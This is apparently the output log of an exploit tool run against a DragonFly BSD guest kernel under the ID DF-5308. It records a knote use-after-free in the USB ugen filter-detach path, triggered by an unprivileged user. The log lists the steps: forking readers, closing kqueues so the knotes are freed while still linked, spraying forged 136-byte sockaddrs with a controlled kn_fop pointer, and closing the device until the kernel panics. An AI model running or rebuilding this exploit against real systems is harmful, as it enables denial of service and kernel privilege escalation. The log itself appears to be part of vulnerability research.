# DF-5308 decisive fault-mode run (guest dfbsd, with-src kernel, unpriv maxx)
# command: ./df5308 fault 2     (revision: NKQ=8, NSPRAY=64, spray-before-kill,
#                                saturation marker = unknown ioctl cmd)
# ssh session output; the session died at the panic (RC=124) - panic follows.
[*] DF-5308 knote-UAF trigger, mode kn_fop=0x4141414141414141
[*] attempt 1: open /dev/usb/0.2.1
[*] forking 254 readers
[*] while saturated: ioctl(unknown) = -1 errno=6 (expect -1/ENXIO=6)
[*] closing 8 kqueues -> usb_filter_detach early-return -> knotes freed while linked
[*] spraying 64 forged 136-byte sockaddrs (kn_fop=0x4141414141414141)
[*] killing readers
[*] after drain: ioctl(unknown) = -1 errno=25 (expect -1/ENOTTY=25)
[*] closing ugen fd -> usb_fifo_close -> KNOTE -> BOOM?
[?] attempt 1 survived close(fd)
[*] attempt 2: open /dev/usb/0.2.1
[*] forking 254 readers
[*] while saturated: ioctl(unknown) = -1 errno=6 (expect -1/ENXIO=6)
[*] closing 8 kqueues -> usb_filter_detach early-return -> knotes freed while linked
[*] spraying 64 forged 136-byte sockaddrs (kn_fop=0x4141414141414141)
[*] killing readers
--- ssh session lost here (kernel panic, see panic.3.txt) ---
RUN_RC=124